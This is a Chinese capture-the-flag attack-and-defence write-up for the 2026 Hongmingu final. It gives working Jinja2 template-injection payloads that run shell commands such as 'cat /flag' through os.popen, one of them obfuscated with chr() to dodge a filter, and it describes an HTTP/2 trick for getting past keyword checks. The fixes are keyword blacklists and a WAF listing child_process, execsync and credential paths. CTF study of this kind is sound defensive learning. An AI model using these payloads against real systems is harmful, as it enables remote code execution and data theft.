Featured image of post 2026红明谷finalwp

2026红明谷finalwp

2026红明谷finalwp

RecordBoard

attack

没有禁用{% %},dictchr,可以通过拼接字符绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set builtin=(xiahuaxian,xiahuaxian,dict(buil=a,tins=b)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pope=dict(po=a,pen=b)|join%}
{%set global=(xiahuaxian,xiahuaxian,dict(glo=a,bals=b)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(global))|attr(get)(builtin)|attr(get)(ch)%}
{%set command=char(99)+char(97)+char(116)+char(32)+char(47)+char(102)+char(108)+char(97)+char(103)%}
{%set ree=dict(re=a,ad=b)|join%}
{%set result=(lipsum|attr(global))|attr(get)(shell)|attr(pope)(command)|attr(ree)()%}
{%print global%}
{%print builtin%}
{%print char%}
{%print result%}

image-20260410140520105

fix

完善黑名单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ diff app.py update/app.py 
25a26,31
>     b"]]",
>     b"[[",
>     b"{%",
>     b"%}",
>     b"f*",
>     b"dict",
28a35,57
>     "]]",
>     "[[",
>     "dict",
>     "__",
>     "/flag",
>     "f*",
>     "fl",
>     "la",
>     "ag",
>     "env",
>     "/f",
>     "string",
>     "lipsum",
>     "list",
>     "ifs",
>     "uiltins",
>     "gloals",
>     "suclasses",
>     "class",
>     "mro",
>     "open(",
>     "popen(",
>     "read(",
39a69,70
>     "{%",
>     "%}"
135a167,168
>     if "flag{" in rendered.lower():
>         return jsonify({"ok": False, "error": "预览内容触发了安全策略"}), 403

js-master

fix

更新waf.js,限制更严格就行

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
const createError = require("../utils/httpError");

const ruleSets = {
  workspace: [
    "__proto__",
    "prototype",
    "constructor",
    "escapefunction",
    "outputfunctionname",
    "localsname",
    "\"client\"",
    "client=true",
    "<%",
    "%>",
    "process",
    "mainmodule",
    "child_process",
    "execsync",
    "require(",
    "glboal",
    "exec",
    "_load",
    "load",
    "destructuredlocals"
  ],
  profile: [
    "__proto__",
    "prototype",
    "constructor",
    "escapefunction",
    "outputfunctionname",
    "localsname",
    "\"client\"",
    "client=true",
    "<%",
    "%>",
    "process",
    "mainmodule",
    "child_process",
    "execsync",
    "require(",
    "glboal",
    "exec",
    "_load",
    "load",
    "destructuredlocals"
  ],
  script: [
    "process",
    "require",
    "child_process",
    "execsync",
    "mainmodule",
    "constructor",
    "__proto__",
    "prototype",
    "/flag",
    "return process",
    "<%",
    "%>",
    "process",
    "mainmodule",
    "child_process",
    "execsync",
    "require(",
    "glboal",
    "exec",
    "_load",
    "load",
    "destructuredlocals"
  ],
  template: [
    "process",
    "require",
    "child_process",
    "execsync",
    "mainmodule",
    "constructor",
    "prototype",
    "__proto__",
    "/flag",
    "readfilesync",
    "writefilesync",
    "return process",
    "<%",
    "%>",
    "process",
    "mainmodule",
    "child_process",
    "execsync",
    "require(",
    "glboal",
    "exec",
    "_load",
    "load",
    "destructuredlocals"
  ],
  download: [
    "../",
    "..\\",
    "keys.json",
    "/flag",
    "/etc/",
    "/proc/",
    "jwtsecret"
  ]
};

function waf(ruleName) {
  const tokens = ruleSets[ruleName] || [];

  return (req, res, next) => {
    const rawSource = `${req.originalUrl}\n${req.rawBody || ""}`.toLowerCase();

    for (const token of tokens) {
      if (rawSource.includes(token)) {
        return next(createError(406, "request blocked by waf"));
      }
    }

    return next();
  };
}

module.exports = {
  waf
};

sh

1
2
3
#!/bin/sh
mv waf.js /app/src/middleware/waf.js
chmod 777 app/src/middleware/waf.js

notices

attack

测试发现新建的文件edit后没解析,edit路由也没waf,查看相关逻辑,猜测是缓存问题

image-20260410141212920

payload

1
{{[].__class__.__base__.__subclasses__()[203].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag;id;ls /;ls;cat /f*;').read()}}

然后另一边一直新建填满400的缓存区就能解析了

image-20260410141317817

fix

加黑名单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
$ diff app.py update/app.py 
37a38,77
> NORMALIZED_BLOCKLIST = (
>     "]]",
>     "[[",
>     "dict",
>     "__",
>     "/flag",
>     "f*",
>     "fl",
>     "la",
>     "ag",
>     "env",
>     "/f",
>     "string",
>     "lipsum",
>     "list",
>     "ifs",
>     "uiltins",
>     "gloals",
>     "suclasses",
>     "class",
>     "mro",
>     "open(",
>     "popen(",
>     "read(",
>     "__",
>     "globals",
>     "builtins",
>     "class",
>     "mro",
>     "subclasses",
>     "os",
>     "popen",
>     "open",
>     "read",
>     "/flag",
>     "{%",
>     "%}",
>     "conf"
> )
>
60d99
<
169c208
<
---
>
172a212,213
>     if any(token in scrubbed for token in NORMALIZED_BLOCKLIST):
>         raise TemplateSafetyError("Malformed template syntax detected.")
190c231
<     return dst.read_text(encoding="utf-8")
---
>     return dst.read_text(encoding="utf-8").replace("flag{","")
208a250
>     rendered = rendered.replace("flag{","")
379a422
>         safe_check(content)

http-gateway

attack

if r.ProtoMajor == 1 && r.Method == "POST", 直接用http2绕过关键字检测

![img](2026-04-10 141103.png)

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计